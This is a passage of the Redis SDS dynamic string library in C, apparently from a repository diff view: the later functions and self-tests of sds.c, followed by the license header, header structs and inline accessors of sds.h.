* and can't use realloc */
newsh = s_malloc(hdrlen+newlen+1);
if (newsh == NULL) return NULL;
memcpy((char*)newsh+hdrlen, s, len+1);
s_free(sh);
s = (char*)newsh+hdrlen;
s[-1] = type;
sdssetlen(s, len);
}
sdssetalloc(s, newlen);
return s;
}
/* Reallocate the sds string so that it has no free space at the end. The
* contained string remains not altered, but next concatenation operations
* will require a reallocation.
*
* After the call, the passed sds string is no longer valid and all the
* references must be substituted with the new pointer returned by the call. */
sds sdsRemoveFreeSpace(sds s) {
void *sh, *newsh;
char type, oldtype = s[-1] & SDS_TYPE_MASK;
int hdrlen;
size_t len = sdslen(s);
sh = (char*)s-sdsHdrSize(oldtype);
type = sdsReqType(len);
hdrlen = sdsHdrSize(type);
if (oldtype==type) {
newsh = s_realloc(sh, hdrlen+len+1);
if (newsh == NULL) return NULL;
s = (char*)newsh+hdrlen;
} else {
newsh = s_malloc(hdrlen+len+1);
if (newsh == NULL) return NULL;
memcpy((char*)newsh+hdrlen, s, len+1);
s_free(sh);
s = (char*)newsh+hdrlen;
s[-1] = type;
sdssetlen(s, len);
}
sdssetalloc(s, len);
return s;
}
/* Return the total size of the allocation of the specifed sds string,
* including:
* 1) The sds header before the pointer.
* 2) The string.
* 3) The free buffer at the end if any.
* 4) The implicit null term.
*/
size_t sdsAllocSize(sds s) {
size_t alloc = sdsalloc(s);
return sdsHdrSize(s[-1])+alloc+1;
}
/* Return the pointer of the actual SDS allocation (normally SDS strings
* are referenced by the start of the string buffer). */
void *sdsAllocPtr(sds s) {
return (void*) (s-sdsHdrSize(s[-1]));
}
/* Increment the sds length and decrements the left free space at the
* end of the string according to 'incr'. Also set the null term
* in the new end of the string.
*
* This function is used in order to fix the string length after the
* user calls sdsMakeRoomFor(), writes something after the end of
* the current string, and finally needs to set the new length.
*
* Note: it is possible to use a negative increment in order to
* right-trim the string.
*
* Usage example:
*
* Using sdsIncrLen() and sdsMakeRoomFor() it is possible to mount the
* following schema, to cat bytes coming from the kernel to the end of an
* sds string without copying into an intermediate buffer:
*
* oldlen = sdslen(s);
* s = sdsMakeRoomFor(s, BUFFER_SIZE);
* nread = read(fd, s+oldlen, BUFFER_SIZE);
* ... check for nread <= 0 and handle it ...
* sdsIncrLen(s, nread);
*/
void sdsIncrLen(sds s, int incr) {
unsigned char flags = s[-1];
size_t len;
switch(flags&SDS_TYPE_MASK) {
case SDS_TYPE_5: {
unsigned char *fp = ((unsigned char*)s)-1;
unsigned char oldlen = SDS_TYPE_5_LEN(flags);
assert((incr > 0 && oldlen+incr < 32) || (incr < 0 && oldlen >= (unsigned int)(-incr)));
*fp = SDS_TYPE_5 | ((oldlen+incr) << SDS_TYPE_BITS);
len = oldlen+incr;
break;
}
case SDS_TYPE_8: {
SDS_HDR_VAR(8,s);
assert((incr >= 0 && sh->alloc-sh->len >= incr) || (incr < 0 && sh->len >= (unsigned int)(-incr)));
len = (sh->len += incr);
break;
}
case SDS_TYPE_16: {
SDS_HDR_VAR(16,s);
assert((incr >= 0 && sh->alloc-sh->len >= incr) || (incr < 0 && sh->len >= (unsigned int)(-incr)));
len = (sh->len += incr);
break;
}
case SDS_TYPE_32: {
SDS_HDR_VAR(32,s);
assert((incr >= 0 && sh->alloc-sh->len >= (unsigned int)incr) || (incr < 0 && sh->len >= (unsigned int)(-incr)));
len = (sh->len += incr);
break;
}
case SDS_TYPE_64: {
SDS_HDR_VAR(64,s);
assert((incr >= 0 && sh->alloc-sh->len >= (uint64_t)incr) || (incr < 0 && sh->len >= (uint64_t)(-incr)));
len = (sh->len += incr);
break;
}
default: len = 0; /* Just to avoid compilation warnings. */
}
s[len] = '\0';
}
/* Grow the sds to have the specified length. Bytes that were not part of
* the original length of the sds will be set to zero.
*
* if the specified length is smaller than the current length, no operation
* is performed. */
sds sdsgrowzero(sds s, size_t len) {
size_t curlen = sdslen(s);
if (len <= curlen) return s;
s = sdsMakeRoomFor(s,len-curlen);
if (s == NULL) return NULL;
/* Make sure added region doesn't contain garbage */
memset(s+curlen,0,(len-curlen+1)); /* also set trailing \0 byte */
sdssetlen(s, len);
return s;
}
/* Append the specified binary-safe string pointed by 't' of 'len' bytes to the
* end of the specified sds string 's'.
*
* After the call, the passed sds string is no longer valid and all the
* references must be substituted with the new pointer returned by the call. */
sds sdscatlen(sds s, const void *t, size_t len) {
size_t curlen = sdslen(s);
s = sdsMakeRoomFor(s,len);
if (s == NULL) return NULL;
memcpy(s+curlen, t, len);
sdssetlen(s, curlen+len);
s[curlen+len] = '\0';
return s;
}
/* Append the specified null termianted C string to the sds string 's'.
*
* After the call, the passed sds string is no longer valid and all the
* references must be substituted with the new pointer returned by the call. */
sds sdscat(sds s, const char *t) {
return sdscatlen(s, t, strlen(t));
}
/* Append the specified sds 't' to the existing sds 's'.
*
* After the call, the modified sds string is no longer valid and all the
* references must be substituted with the new pointer returned by the call. */
sds sdscatsds(sds s, const sds t) {
return sdscatlen(s, t, sdslen(t));
}
/* Destructively modify the sds string 's' to hold the specified binary
* safe string pointed by 't' of length 'len' bytes. */
sds sdscpylen(sds s, const char *t, size_t len) {
if (sdsalloc(s) < len) {
s = sdsMakeRoomFor(s,len-sdslen(s));
if (s == NULL) return NULL;
}
memcpy(s, t, len);
s[len] = '\0';
sdssetlen(s, len);
return s;
}
/* Like sdscpylen() but 't' must be a null-termined string so that the length
* of the string is obtained with strlen(). */
sds sdscpy(sds s, const char *t) {
return sdscpylen(s, t, strlen(t));
}
/* Helper for sdscatlonglong() doing the actual number -> string
* conversion. 's' must point to a string with room for at least
* SDS_LLSTR_SIZE bytes.
*
* The function returns the length of the null-terminated string
* representation stored at 's'. */
#define SDS_LLSTR_SIZE 21
int sdsll2str(char *s, long long value) {
char *p, aux;
unsigned long long v;
size_t l;
/* Generate the string representation, this method produces
* an reversed string. */
v = (value < 0) ? -value : value;
p = s;
do {
*p++ = '0'+(v%10);
v /= 10;
} while(v);
if (value < 0) *p++ = '-';
/* Compute length and add null term. */
l = p-s;
*p = '\0';
/* Reverse the string. */
p--;
while(s < p) {
aux = *s;
*s = *p;
*p = aux;
s++;
p--;
}
return l;
}
/* Identical sdsll2str(), but for unsigned long long type. */
int sdsull2str(char *s, unsigned long long v) {
char *p, aux;
size_t l;
/* Generate the string representation, this method produces
* an reversed string. */
p = s;
do {
*p++ = '0'+(v%10);
v /= 10;
} while(v);
/* Compute length and add null term. */
l = p-s;
*p = '\0';
/* Reverse the string. */
p--;
while(s < p) {
aux = *s;
*s = *p;
*p = aux;
s++;
p--;
}
return l;
}
/* Create an sds string from a long long value. It is much faster than:
*
* sdscatprintf(sdsempty(),"%lld\n", value);
*/
sds sdsfromlonglong(long long value) {
char buf[SDS_LLSTR_SIZE];
int len = sdsll2str(buf,value);
return sdsnewlen(buf,len);
}
/* Like sdscatprintf() but gets va_list instead of being variadic. */
sds sdscatvprintf(sds s, const char *fmt, va_list ap) {
va_list cpy;
char staticbuf[1024], *buf = staticbuf, *t;
size_t buflen = strlen(fmt)*2;
/* We try to start using a static buffer for speed.
* If not possible we revert to heap allocation. */
if (buflen > sizeof(staticbuf)) {
buf = s_malloc(buflen);
if (buf == NULL) return NULL;
} else {
buflen = sizeof(staticbuf);
}
/* Try with buffers two times bigger every time we fail to
* fit the string in the current buffer size. */
while(1) {
buf[buflen-2] = '\0';
va_copy(cpy,ap);
vsnprintf(buf, buflen, fmt, cpy);
va_end(cpy);
if (buf[buflen-2] != '\0') {
if (buf != staticbuf) s_free(buf);
buflen *= 2;
buf = s_malloc(buflen);
if (buf == NULL) return NULL;
continue;
}
break;
}
/* Finally concat the obtained string to the SDS string and return it. */
t = sdscat(s, buf);
if (buf != staticbuf) s_free(buf);
return t;
}
/* Append to the sds string 's' a string obtained using printf-alike format
* specifier.
*
* After the call, the modified sds string is no longer valid and all the
* references must be substituted with the new pointer returned by the call.
*
* Example:
*
* s = sdsnew("Sum is: ");
* s = sdscatprintf(s,"%d+%d = %d",a,b,a+b).
*
* Often you need to create a string from scratch with the printf-alike
* format. When this is the need, just use sdsempty() as the target string:
*
* s = sdscatprintf(sdsempty(), "... your format ...", args);
*/
sds sdscatprintf(sds s, const char *fmt, ...) {
va_list ap;
char *t;
va_start(ap, fmt);
t = sdscatvprintf(s,fmt,ap);
va_end(ap);
return t;
}
/* This function is similar to sdscatprintf, but much faster as it does
* not rely on sprintf() family functions implemented by the libc that
* are often very slow. Moreover directly handling the sds string as
* new data is concatenated provides a performance improvement.
*
* However this function only handles an incompatible subset of printf-alike
* format specifiers:
*
* %s - C String
* %S - SDS string
* %i - signed int
* %I - 64 bit signed integer (long long, int64_t)
* %u - unsigned int
* %U - 64 bit unsigned integer (unsigned long long, uint64_t)
* %% - Verbatim "%" character.
*/
sds sdscatfmt(sds s, char const *fmt, ...) {
size_t initlen = sdslen(s);
const char *f = fmt;
int i;
va_list ap;
va_start(ap,fmt);
f = fmt; /* Next format specifier byte to process. */
i = initlen; /* Position of the next byte to write to dest str. */
while(*f) {
char next, *str;
size_t l;
long long num;
unsigned long long unum;
/* Make sure there is always space for at least 1 char. */
if (sdsavail(s)==0) {
s = sdsMakeRoomFor(s,1);
}
switch(*f) {
case '%':
next = *(f+1);
f++;
switch(next) {
case 's':
case 'S':
str = va_arg(ap,char*);
l = (next == 's') ? strlen(str) : sdslen(str);
if (sdsavail(s) < l) {
s = sdsMakeRoomFor(s,l);
}
memcpy(s+i,str,l);
sdsinclen(s,l);
i += l;
break;
case 'i':
case 'I':
if (next == 'i')
num = va_arg(ap,int);
else
num = va_arg(ap,long long);
{
char buf[SDS_LLSTR_SIZE];
l = sdsll2str(buf,num);
if (sdsavail(s) < l) {
s = sdsMakeRoomFor(s,l);
}
memcpy(s+i,buf,l);
sdsinclen(s,l);
i += l;
}
break;
case 'u':
case 'U':
if (next == 'u')
unum = va_arg(ap,unsigned int);
else
unum = va_arg(ap,unsigned long long);
{
char buf[SDS_LLSTR_SIZE];
l = sdsull2str(buf,unum);
if (sdsavail(s) < l) {
s = sdsMakeRoomFor(s,l);
}
memcpy(s+i,buf,l);
sdsinclen(s,l);
i += l;
}
break;
default: /* Handle %% and generally %<unknown>. */
s[i++] = next;
sdsinclen(s,1);
break;
}
break;
default:
s[i++] = *f;
sdsinclen(s,1);
break;
}
f++;
}
va_end(ap);
/* Add null-term */
s[i] = '\0';
return s;
}
/* Remove the part of the string from left and from right composed just of
* contiguous characters found in 'cset', that is a null terminted C string.
*
* After the call, the modified sds string is no longer valid and all the
* references must be substituted with the new pointer returned by the call.
*
* Example:
*
* s = sdsnew("AA...AA.a.aa.aHelloWorld :::");
* s = sdstrim(s,"Aa. :");
* printf("%s\n", s);
*
* Output will be just "Hello World".
*/
sds sdstrim(sds s, const char *cset) {
char *start, *end, *sp, *ep;
size_t len;
sp = start = s;
ep = end = s+sdslen(s)-1;
while(sp <= end && strchr(cset, *sp)) sp++;
while(ep > sp && strchr(cset, *ep)) ep--;
len = (sp > ep) ? 0 : ((ep-sp)+1);
if (s != sp) memmove(s, sp, len);
s[len] = '\0';
sdssetlen(s,len);
return s;
}
/* Turn the string into a smaller (or equal) string containing only the
* substring specified by the 'start' and 'end' indexes.
*
* start and end can be negative, where -1 means the last character of the
* string, -2 the penultimate character, and so forth.
*
* The interval is inclusive, so the start and end characters will be part
* of the resulting string.
*
* The string is modified in-place.
*
* Example:
*
* s = sdsnew("Hello World");
* sdsrange(s,1,-1); => "ello World"
*/
void sdsrange(sds s, int start, int end) {
size_t newlen, len = sdslen(s);
if (len == 0) return;
if (start < 0) {
start = len+start;
if (start < 0) start = 0;
}
if (end < 0) {
end = len+end;
if (end < 0) end = 0;
}
newlen = (start > end) ? 0 : (end-start)+1;
if (newlen != 0) {
if (start >= (signed)len) {
newlen = 0;
} else if (end >= (signed)len) {
end = len-1;
newlen = (start > end) ? 0 : (end-start)+1;
}
} else {
start = 0;
}
if (start && newlen) memmove(s, s+start, newlen);
s[newlen] = 0;
sdssetlen(s,newlen);
}
/* Apply tolower() to every character of the sds string 's'. */
void sdstolower(sds s) {
int len = sdslen(s), j;
for (j = 0; j < len; j++) s[j] = tolower(s[j]);
}
/* Apply toupper() to every character of the sds string 's'. */
void sdstoupper(sds s) {
int len = sdslen(s), j;
for (j = 0; j < len; j++) s[j] = toupper(s[j]);
}
/* Compare two sds strings s1 and s2 with memcmp().
*
* Return value:
*
* positive if s1 > s2.
* negative if s1 < s2.
* 0 if s1 and s2 are exactly the same binary string.
*
* If two strings share exactly the same prefix, but one of the two has
* additional characters, the longer string is considered to be greater than
* the smaller one. */
int sdscmp(const sds s1, const sds s2) {
size_t l1, l2, minlen;
int cmp;
l1 = sdslen(s1);
l2 = sdslen(s2);
minlen = (l1 < l2) ? l1 : l2;
cmp = memcmp(s1,s2,minlen);
if (cmp == 0) return l1-l2;
return cmp;
}
/* Split 's' with separator in 'sep'. An array
* of sds strings is returned. *count will be set
* by reference to the number of tokens returned.
*
* On out of memory, zero length string, zero length
* separator, NULL is returned.
*
* Note that 'sep' is able to split a string using
* a multi-character separator. For example
* sdssplit("foo_-_bar","_-_"); will return two
* elements "foo" and "bar".
*
* This version of the function is binary-safe but
* requires length arguments. sdssplit() is just the
* same function but for zero-terminated strings.
*/
sds *sdssplitlen(const char *s, int len, const char *sep, int seplen, int *count) {
int elements = 0, slots = 5, start = 0, j;
sds *tokens;
if (seplen < 1 || len < 0) return NULL;
tokens = s_malloc(sizeof(sds)*slots);
if (tokens == NULL) return NULL;
if (len == 0) {
*count = 0;
return tokens;
}
for (j = 0; j < (len-(seplen-1)); j++) {
/* make sure there is room for the next element and the final one */
if (slots < elements+2) {
sds *newtokens;
slots *= 2;
newtokens = s_realloc(tokens,sizeof(sds)*slots);
if (newtokens == NULL) goto cleanup;
tokens = newtokens;
}
/* search the separator */
if ((seplen == 1 && *(s+j) == sep[0]) || (memcmp(s+j,sep,seplen) == 0)) {
tokens[elements] = sdsnewlen(s+start,j-start);
if (tokens[elements] == NULL) goto cleanup;
elements++;
start = j+seplen;
j = j+seplen-1; /* skip the separator */
}
}
/* Add the final element. We are sure there is room in the tokens array. */
tokens[elements] = sdsnewlen(s+start,len-start);
if (tokens[elements] == NULL) goto cleanup;
elements++;
*count = elements;
return tokens;
cleanup:
{
int i;
for (i = 0; i < elements; i++) sdsfree(tokens[i]);
s_free(tokens);
*count = 0;
return NULL;
}
}
/* Free the result returned by sdssplitlen(), or do nothing if 'tokens' is NULL. */
void sdsfreesplitres(sds *tokens, int count) {
if (!tokens) return;
while(count--)
sdsfree(tokens[count]);
s_free(tokens);
}
/* Append to the sds string "s" an escaped string representation where
* all the non-printable characters (tested with isprint()) are turned into
* escapes in the form "\n\r\a...." or "\x<hex-number>".
*
* After the call, the modified sds string is no longer valid and all the
* references must be substituted with the new pointer returned by the call. */
sds sdscatrepr(sds s, const char *p, size_t len) {
s = sdscatlen(s,"\"",1);
while(len--) {
switch(*p) {
case '\\':
case '"':
s = sdscatprintf(s,"\\%c",*p);
break;
case '\n': s = sdscatlen(s,"\\n",2); break;
case '\r': s = sdscatlen(s,"\\r",2); break;
case '\t': s = sdscatlen(s,"\\t",2); break;
case '\a': s = sdscatlen(s,"\\a",2); break;
case '\b': s = sdscatlen(s,"\\b",2); break;
default:
if (isprint(*p))
s = sdscatprintf(s,"%c",*p);
else
s = sdscatprintf(s,"\\x%02x",(unsigned char)*p);
break;
}
p++;
}
return sdscatlen(s,"\"",1);
}
/* Helper function for sdssplitargs() that returns non zero if 'c'
* is a valid hex digit. */
int is_hex_digit(char c) {
return (c >= '0' && c <= '9') || (c >= 'a' && c <= 'f') ||
(c >= 'A' && c <= 'F');
}
/* Helper function for sdssplitargs() that converts a hex digit into an
* integer from 0 to 15 */
int hex_digit_to_int(char c) {
switch(c) {
case '0': return 0;
case '1': return 1;
case '2': return 2;
case '3': return 3;
case '4': return 4;
case '5': return 5;
case '6': return 6;
case '7': return 7;
case '8': return 8;
case '9': return 9;
case 'a': case 'A': return 10;
case 'b': case 'B': return 11;
case 'c': case 'C': return 12;
case 'd': case 'D': return 13;
case 'e': case 'E': return 14;
case 'f': case 'F': return 15;
default: return 0;
}
}
/* Split a line into arguments, where every argument can be in the
* following programming-language REPL-alike form:
*
* foo bar "newline are supported\n" and "\xff\x00otherstuff"
*
* The number of arguments is stored into *argc, and an array
* of sds is returned.
*
* The caller should free the resulting array of sds strings with
* sdsfreesplitres().
*
* Note that sdscatrepr() is able to convert back a string into
* a quoted string in the same format sdssplitargs() is able to parse.
*
* The function returns the allocated tokens on success, even when the
* input string is empty, or NULL if the input contains unbalanced
* quotes or closed quotes followed by non space characters
* as in: "foo"bar or "foo'
*/
sds *sdssplitargs(const char *line, int *argc) {
const char *p = line;
char *current = NULL;
char **vector = NULL;
*argc = 0;
while(1) {
/* skip blanks */
while(*p && isspace(*p)) p++;
if (*p) {
/* get a token */
int inq=0; /* set to 1 if we are in "quotes" */
int insq=0; /* set to 1 if we are in 'single quotes' */
int done=0;
if (current == NULL) current = sdsempty();
while(!done) {
if (inq) {
if (*p == '\\' && *(p+1) == 'x' &&
is_hex_digit(*(p+2)) &&
is_hex_digit(*(p+3)))
{
unsigned char byte;
byte = (hex_digit_to_int(*(p+2))*16)+
hex_digit_to_int(*(p+3));
current = sdscatlen(current,(char*)&byte,1);
p += 3;
} else if (*p == '\\' && *(p+1)) {
char c;
p++;
switch(*p) {
case 'n': c = '\n'; break;
case 'r': c = '\r'; break;
case 't': c = '\t'; break;
case 'b': c = '\b'; break;
case 'a': c = '\a'; break;
default: c = *p; break;
}
current = sdscatlen(current,&c,1);
} else if (*p == '"') {
/* closing quote must be followed by a space or
* nothing at all. */
if (*(p+1) && !isspace(*(p+1))) goto err;
done=1;
} else if (!*p) {
/* unterminated quotes */
goto err;
} else {
current = sdscatlen(current,p,1);
}
} else if (insq) {
if (*p == '\\' && *(p+1) == '\'') {
p++;
current = sdscatlen(current,"'",1);
} else if (*p == '\'') {
/* closing quote must be followed by a space or
* nothing at all. */
if (*(p+1) && !isspace(*(p+1))) goto err;
done=1;
} else if (!*p) {
/* unterminated quotes */
goto err;
} else {
current = sdscatlen(current,p,1);
}
} else {
switch(*p) {
case ' ':
case '\n':
case '\r':
case '\t':
case '\0':
done=1;
break;
case '"':
inq=1;
break;
case '\'':
insq=1;
break;
default:
current = sdscatlen(current,p,1);
break;
}
}
if (*p) p++;
}
/* add the token to the vector */
vector = s_realloc(vector,((*argc)+1)*sizeof(char*));
vector[*argc] = current;
(*argc)++;
current = NULL;
} else {
/* Even on empty input string return something not NULL. */
if (vector == NULL) vector = s_malloc(sizeof(void*));
return vector;
}
}
err:
while((*argc)--)
sdsfree(vector[*argc]);
s_free(vector);
if (current) sdsfree(current);
*argc = 0;
return NULL;
}
/* Modify the string substituting all the occurrences of the set of
* characters specified in the 'from' string to the corresponding character
* in the 'to' array.
*
* For instance: sdsmapchars(mystring, "ho", "01", 2)
* will have the effect of turning the string "hello" into "0ell1".
*
* The function returns the sds string pointer, that is always the same
* as the input pointer since no resize is needed. */
sds sdsmapchars(sds s, const char *from, const char *to, size_t setlen) {
size_t j, i, l = sdslen(s);
for (j = 0; j < l; j++) {
for (i = 0; i < setlen; i++) {
if (s[j] == from[i]) {
s[j] = to[i];
break;
}
}
}
return s;
}
/* Join an array of C strings using the specified separator (also a C string).
* Returns the result as an sds string. */
sds sdsjoin(char **argv, int argc, char *sep) {
sds join = sdsempty();
int j;
for (j = 0; j < argc; j++) {
join = sdscat(join, argv[j]);
if (j != argc-1) join = sdscat(join,sep);
}
return join;
}
/* Like sdsjoin, but joins an array of SDS strings. */
sds sdsjoinsds(sds *argv, int argc, const char *sep, size_t seplen) {
sds join = sdsempty();
int j;
for (j = 0; j < argc; j++) {
join = sdscatsds(join, argv[j]);
if (j != argc-1) join = sdscatlen(join,sep,seplen);
}
return join;
}
/* Wrappers to the allocators used by SDS. Note that SDS will actually
* just use the macros defined into sdsalloc.h in order to avoid to pay
* the overhead of function calls. Here we define these wrappers only for
* the programs SDS is linked to, if they want to touch the SDS internals
* even if they use a different allocator. */
void *sds_malloc(size_t size) { return s_malloc(size); }
void *sds_realloc(void *ptr, size_t size) { return s_realloc(ptr,size); }
void sds_free(void *ptr) { s_free(ptr); }
#if defined(SDS_TEST_MAIN)
#include <stdio.h>
#include "testhelp.h"
#include "limits.h"
#define UNUSED(x) (void)(x)
int sdsTest(void) {
{
sds x = sdsnew("foo"), y;
test_cond("Create a string and obtain the length",
sdslen(x) == 3 && memcmp(x,"foo\0",4) == 0)
sdsfree(x);
x = sdsnewlen("foo",2);
test_cond("Create a string with specified length",
sdslen(x) == 2 && memcmp(x,"fo\0",3) == 0)
x = sdscat(x,"bar");
test_cond("Strings concatenation",
sdslen(x) == 5 && memcmp(x,"fobar\0",6) == 0);
x = sdscpy(x,"a");
test_cond("sdscpy() against an originally longer string",
sdslen(x) == 1 && memcmp(x,"a\0",2) == 0)
x = sdscpy(x,"xyzxxxxxxxxxxyyyyyyyyyykkkkkkkkkk");
test_cond("sdscpy() against an originally shorter string",
sdslen(x) == 33 &&
memcmp(x,"xyzxxxxxxxxxxyyyyyyyyyykkkkkkkkkk\0",33) == 0)
sdsfree(x);
x = sdscatprintf(sdsempty(),"%d",123);
test_cond("sdscatprintf() seems working in the base case",
sdslen(x) == 3 && memcmp(x,"123\0",4) == 0)
sdsfree(x);
x = sdsnew("--");
x = sdscatfmt(x, "Hello %s World %I,%I--", "Hi!", LLONG_MIN,LLONG_MAX);
test_cond("sdscatfmt() seems working in the base case",
sdslen(x) == 60 &&
memcmp(x,"--Hello Hi! World -9223372036854775808,"
"9223372036854775807--",60) == 0)
printf("[%s]\n",x);
sdsfree(x);
x = sdsnew("--");
x = sdscatfmt(x, "%u,%U--", UINT_MAX, ULLONG_MAX);
test_cond("sdscatfmt() seems working with unsigned numbers",
sdslen(x) == 35 &&
memcmp(x,"--4294967295,18446744073709551615--",35) == 0)
sdsfree(x);
x = sdsnew(" x ");
sdstrim(x," x");
test_cond("sdstrim() works when all chars match",
sdslen(x) == 0)
sdsfree(x);
x = sdsnew(" x ");
sdstrim(x," ");
test_cond("sdstrim() works when a single char remains",
sdslen(x) == 1 && x[0] == 'x')
sdsfree(x);
x = sdsnew("xxciaoyyy");
sdstrim(x,"xy");
test_cond("sdstrim() correctly trims characters",
sdslen(x) == 4 && memcmp(x,"ciao\0",5) == 0)
y = sdsdup(x);
sdsrange(y,1,1);
test_cond("sdsrange(...,1,1)",
sdslen(y) == 1 && memcmp(y,"i\0",2) == 0)
sdsfree(y);
y = sdsdup(x);
sdsrange(y,1,-1);
test_cond("sdsrange(...,1,-1)",
sdslen(y) == 3 && memcmp(y,"iao\0",4) == 0)
sdsfree(y);
y = sdsdup(x);
sdsrange(y,-2,-1);
test_cond("sdsrange(...,-2,-1)",
sdslen(y) == 2 && memcmp(y,"ao\0",3) == 0)
sdsfree(y);
y = sdsdup(x);
sdsrange(y,2,1);
test_cond("sdsrange(...,2,1)",
sdslen(y) == 0 && memcmp(y,"\0",1) == 0)
sdsfree(y);
y = sdsdup(x);
sdsrange(y,1,100);
test_cond("sdsrange(...,1,100)",
sdslen(y) == 3 && memcmp(y,"iao\0",4) == 0)
sdsfree(y);
y = sdsdup(x);
sdsrange(y,100,100);
test_cond("sdsrange(...,100,100)",
sdslen(y) == 0 && memcmp(y,"\0",1) == 0)
sdsfree(y);
sdsfree(x);
x = sdsnew("foo");
y = sdsnew("foa");
test_cond("sdscmp(foo,foa)", sdscmp(x,y) > 0)
sdsfree(y);
sdsfree(x);
x = sdsnew("bar");
y = sdsnew("bar");
test_cond("sdscmp(bar,bar)", sdscmp(x,y) == 0)
sdsfree(y);
sdsfree(x);
x = sdsnew("aar");
y = sdsnew("bar");
test_cond("sdscmp(bar,bar)", sdscmp(x,y) < 0)
sdsfree(y);
sdsfree(x);
x = sdsnewlen("\a\n\0foo\r",7);
y = sdscatrepr(sdsempty(),x,sdslen(x));
test_cond("sdscatrepr(...data...)",
memcmp(y,"\"\\a\\n\\x00foo\\r\"",15) == 0)
{
unsigned int oldfree;
char *p;
int step = 10, j, i;
sdsfree(x);
sdsfree(y);
x = sdsnew("0");
test_cond("sdsnew() free/len buffers", sdslen(x) == 1 && sdsavail(x) == 0);
/* Run the test a few times in order to hit the first two
* SDS header types. */
for (i = 0; i < 10; i++) {
int oldlen = sdslen(x);
x = sdsMakeRoomFor(x,step);
int type = x[-1]&SDS_TYPE_MASK;
test_cond("sdsMakeRoomFor() len", sdslen(x) == oldlen);
if (type != SDS_TYPE_5) {
test_cond("sdsMakeRoomFor() free", sdsavail(x) >= step);
oldfree = sdsavail(x);
}
p = x+oldlen;
for (j = 0; j < step; j++) {
p[j] = 'A'+j;
}
sdsIncrLen(x,step);
}
test_cond("sdsMakeRoomFor() content",
memcmp("0ABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJ",x,101) == 0);
test_cond("sdsMakeRoomFor() final length",sdslen(x)==101);
sdsfree(x);
}
}
test_report()
return 0;
}
#endif
#ifdef SDS_TEST_MAIN
int main(void) {
return sdsTest();
}
#endif
+273
View File
@@ -0,0 +1,273 @@
/* SDSLib 2.0 -- A C dynamic strings library
*
* Copyright (c) 2006-2015, Salvatore Sanfilippo <antirez at gmail dot com>
* Copyright (c) 2015, Oran Agra
* Copyright (c) 2015, Redis Labs, Inc
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of Redis nor the names of its contributors may be used
* to endorse or promote products derived from this software without
* specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef __SDS_H
#define __SDS_H
#define SDS_MAX_PREALLOC (1024*1024)
#include <sys/types.h>
#include <stdarg.h>
#include <stdint.h>
typedef char *sds;
/* Note: sdshdr5 is never used, we just access the flags byte directly.
* However is here to document the layout of type 5 SDS strings. */
struct __attribute__ ((__packed__)) sdshdr5 {
unsigned char flags; /* 3 lsb of type, and 5 msb of string length */
char buf[];
};
struct __attribute__ ((__packed__)) sdshdr8 {
uint8_t len; /* used */
uint8_t alloc; /* excluding the header and null terminator */
unsigned char flags; /* 3 lsb of type, 5 unused bits */
char buf[];
};
struct __attribute__ ((__packed__)) sdshdr16 {
uint16_t len; /* used */
uint16_t alloc; /* excluding the header and null terminator */
unsigned char flags; /* 3 lsb of type, 5 unused bits */
char buf[];
};
struct __attribute__ ((__packed__)) sdshdr32 {
uint32_t len; /* used */
uint32_t alloc; /* excluding the header and null terminator */
unsigned char flags; /* 3 lsb of type, 5 unused bits */
char buf[];
};
struct __attribute__ ((__packed__)) sdshdr64 {
uint64_t len; /* used */
uint64_t alloc; /* excluding the header and null terminator */
unsigned char flags; /* 3 lsb of type, 5 unused bits */
char buf[];
};
#define SDS_TYPE_5 0
#define SDS_TYPE_8 1
#define SDS_TYPE_16 2
#define SDS_TYPE_32 3
#define SDS_TYPE_64 4
#define SDS_TYPE_MASK 7
#define SDS_TYPE_BITS 3
#define SDS_HDR_VAR(T,s) struct sdshdr##T *sh = (void*)((s)-(sizeof(struct sdshdr##T)));
#define SDS_HDR(T,s) ((struct sdshdr##T *)((s)-(sizeof(struct sdshdr##T))))
#define SDS_TYPE_5_LEN(f) ((f)>>SDS_TYPE_BITS)
static inline size_t sdslen(const sds s) {
unsigned char flags = s[-1];
switch(flags&SDS_TYPE_MASK) {
case SDS_TYPE_5:
return SDS_TYPE_5_LEN(flags);
case SDS_TYPE_8:
return SDS_HDR(8,s)->len;
case SDS_TYPE_16:
return SDS_HDR(16,s)->len;
case SDS_TYPE_32:
return SDS_HDR(32,s)->len;
case SDS_TYPE_64:
return SDS_HDR(64,s)->len;
}
return 0;
}
static inline size_t sdsavail(const sds s) {
unsigned char flags = s[-1];
switch(flags&SDS_TYPE_MASK) {
case SDS_TYPE_5: {
return 0;
}
case SDS_TYPE_8: {
SDS_HDR_VAR(8,s);
return sh->alloc - sh->len;
}
case SDS_TYPE_16: {
SDS_HDR_VAR(16,s);
return sh->alloc - sh->len;
}
case SDS_TYPE_32: {
SDS_HDR_VAR(32,s);
return sh->alloc - sh->len;
}
case SDS_TYPE_64: {
SDS_HDR_VAR(64,s);
return sh->alloc - sh->len;
}
}
return 0;
}
static inline void sdssetlen(sds s, size_t newlen) {
unsigned char flags = s[-1];
switch(flags&SDS_TYPE_MASK) {
